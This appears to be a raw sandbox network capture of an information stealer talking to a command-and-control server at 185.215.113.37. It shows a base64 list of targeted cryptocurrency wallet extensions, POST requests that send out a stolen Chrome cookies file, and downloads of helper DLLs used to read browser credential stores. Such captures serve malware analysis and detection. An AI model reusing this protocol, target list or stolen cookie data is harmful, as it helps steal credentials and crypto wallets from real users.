TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 20, 2024 23:43:01.928092957 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Oct 20, 2024 23:43:01.928111076 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Oct 20, 2024 23:43:01.928344965 CEST	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Oct 20, 2024 23:43:01.928358078 CEST	848	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Oct 20, 2024 23:43:01.928369045 CEST	1236	IN	Data Raw: 62 6e 52 70 5a 58 49 67 56 32 46 73 62 47 56 30 66 47 74 77 63 47 5a 6b 61 57 6c 77 63 47 68 6d 59 32 4e 6c 62 57 4e 70 5a 32 35 6f 61 57 5a 77 61 6d 74 68 63 47 5a 69 61 57 68 6b 66 44 46 38 4d 48 77 77 66 46 4e 68 5a 6d 56 51 59 57 78 38 62 47 Data Ascii: bnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25oaWZwamthcGZiaWhkfDF8MHwwfFNhZmVQYWx8bGdtcGNwZ2xwbmdkb2FsYmdlb2xkZWFqZmNsbmhhZmF8MXwwfDB8U3ViV2FsbGV0IC0gUG9sa2Fkb3QgV2FsbGV0fG9uaG9nZmplYWNuZm9vZmtmZ3BwZGxibWxtbnBsZ2JufDF8MHwwfEZsdXZpIFdhbGxldHxtbW1
Oct 20, 2024 23:43:01.928380013 CEST	316	IN	Data Raw: 62 57 6c 6f 62 6d 52 74 62 57 4e 6b 59 57 35 68 59 32 39 73 62 6d 68 38 4d 58 77 77 66 44 42 38 51 6d 6c 30 5a 32 56 30 49 46 64 68 62 47 78 6c 64 48 78 71 61 57 6c 6b 61 57 46 68 62 47 6c 6f 62 57 31 6f 5a 47 52 71 5a 32 4a 75 59 6d 64 6b 5a 6d Data Ascii: bWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFdhbGxldHxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3Bha3wxfDB8MHxUT04gV2FsbGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN
Oct 20, 2024 23:43:01.941282034 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFHDGDGIIDGCFIDHDHDH Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 47 44 47 49 49 44 47 43 46 49 44 48 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 31 35 64 32 64 38 35 63 39 63 34 30 32 63 66 38 30 38 33 62 64 35 32 33 30 63 38 65 33 62 38 32 31 30 32 30 38 31 35 35 37 34 37 62 30 33 34 37 30 66 32 62 66 64 34 36 38 34 33 36 38 64 31 39 63 66 64 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 47 44 47 49 49 44 47 43 46 49 44 48 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 47 44 47 49 49 44 47 43 46 49 44 48 44 48 44 48 2d 2d 0d 0a Data Ascii: ------AFHDGDGIIDGCFIDHDHDHContent-Disposition: form-data; name="token"d315d2d85c9c402cf8083bd5230c8e3b8210208155747b03470f2bfd4684368d19cfd181------AFHDGDGIIDGCFIDHDHDHContent-Disposition: form-data; name="message"fplugins------AFHDGDGIIDGCFIDHDHDH--
Oct 20, 2024 23:43:02.289530993 CEST	335	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 21:43:02 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 20, 2024 23:43:02.382514954 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAKJKFHCAEGDHIDGDHDA Host: 185.215.113.37 Content-Length: 6347 Connection: Keep-Alive Cache-Control: no-cache
Oct 20, 2024 23:43:02.382555962 CEST	6347	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 41 4b 4a 4b 46 48 43 41 45 47 44 48 49 44 47 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 31 35 64 32 Data Ascii: ------BAKJKFHCAEGDHIDGDHDAContent-Disposition: form-data; name="token"d315d2d85c9c402cf8083bd5230c8e3b8210208155747b03470f2bfd4684368d19cfd181------BAKJKFHCAEGDHIDGDHDAContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 20, 2024 23:43:03.268419027 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 21:43:02 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 20, 2024 23:43:03.497600079 CEST	93	OUT	GET /0d60be0de163924d/sqlite3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 20, 2024 23:43:03.843152046 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 21:43:03 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 20, 2024 23:43:03.843170881 CEST	212	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Oct 20, 2024 23:43:03.843183041 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 20, 2024 23:43:05.278825045 CEST	952	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIJJEGDBFIIDGCAKJEBK Host: 185.215.113.37 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 4a 4a 45 47 44 42 46 49 49 44 47 43 41 4b 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 31 35 64 32 64 38 35 63 39 63 34 30 32 63 66 38 30 38 33 62 64 35 32 33 30 63 38 65 33 62 38 32 31 30 32 30 38 31 35 35 37 34 37 62 30 33 34 37 30 66 32 62 66 64 34 36 38 34 33 36 38 64 31 39 63 66 64 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 4a 45 47 44 42 46 49 49 44 47 43 41 4b 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 4a 45 47 44 42 46 49 49 44 47 43 41 4b 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------HIJJEGDBFIIDGCAKJEBKContent-Disposition: form-data; name="token"d315d2d85c9c402cf8083bd5230c8e3b8210208155747b03470f2bfd4684368d19cfd181------HIJJEGDBFIIDGCAKJEBKContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------HIJJEGDBFIIDGCAKJEBKContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwODgyNjAJMVBfSkFSCTIwMjMtMTAtMDUtMTAKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMzA3NDYwCU5JRAk1MTE9RUN4QXRmUVN2bVlEaE5pSC1FSzRxa3ZxemxlSTJsYmJzNk55SkdscmhlZ21MNnRIOVNzaXJYN0ZmSEhrTEZvVlJIY1o5ckRpczNVaTdXdy0tVUZTWmFXU1VUUVpEWFB4UE1uSTBuaXNCbnpCcFFrY1Vxbmg2VDBKZDN6eC1DSFI5aC1RcjFYdDVqOFdNbkFDQ2NxMUdMWl9EN1V6VnBGRWgtQUx0QjdVaXZjCg==------HIJJEGDBFIIDGCAKJEBK--
Oct 20, 2024 23:43:06.139775038 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 21:43:05 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 20, 2024 23:43:06.191658974 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIEBAFCBKFIDGCAKKKF Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 31 35 64 32 64 38 35 63 39 63 34 30 32 63 66 38 30 38 33 62 64 35 32 33 30 63 38 65 33 62 38 32 31 30 32 30 38 31 35 35 37 34 37 62 30 33 34 37 30 66 32 62 66 64 34 36 38 34 33 36 38 64 31 39 63 66 64 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HIIEBAFCBKFIDGCAKKKFContent-Disposition: form-data; name="token"d315d2d85c9c402cf8083bd5230c8e3b8210208155747b03470f2bfd4684368d19cfd181------HIIEBAFCBKFIDGCAKKKFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HIIEBAFCBKFIDGCAKKKFContent-Disposition: form-data; name="file"------HIIEBAFCBKFIDGCAKKKF--
Oct 20, 2024 23:43:07.042987108 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 21:43:06 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 20, 2024 23:43:07.947171926 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIIEGDBAEBFIIDHJJJEB Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 49 45 47 44 42 41 45 42 46 49 49 44 48 4a 4a 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 31 35 64 32 64 38 35 63 39 63 34 30 32 63 66 38 30 38 33 62 64 35 32 33 30 63 38 65 33 62 38 32 31 30 32 30 38 31 35 35 37 34 37 62 30 33 34 37 30 66 32 62 66 64 34 36 38 34 33 36 38 64 31 39 63 66 64 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 45 47 44 42 41 45 42 46 49 49 44 48 4a 4a 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 45 47 44 42 41 45 42 46 49 49 44 48 4a 4a 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FIIEGDBAEBFIIDHJJJEBContent-Disposition: form-data; name="token"d315d2d85c9c402cf8083bd5230c8e3b8210208155747b03470f2bfd4684368d19cfd181------FIIEGDBAEBFIIDHJJJEBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FIIEGDBAEBFIIDHJJJEBContent-Disposition: form-data; name="file"------FIIEGDBAEBFIIDHJJJEB--
Oct 20, 2024 23:43:08.791979074 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 21:43:08 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 20, 2024 23:43:09.994143963 CEST	93	OUT	GET /0d60be0de163924d/freebl3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 20, 2024 23:43:10.339740992 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 21:43:10 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 20, 2024 23:43:11.363013029 CEST	93	OUT	GET /0d60be0de163924d/mozglue.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 20, 2024 23:43:11.711925030 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 21:43:11 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 20, 2024 23:43:11.960517883 CEST	94	OUT	GET /0d60be0de163924d/msvcp140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 20, 2024 23:43:12.309715033 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 21:43:12 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS 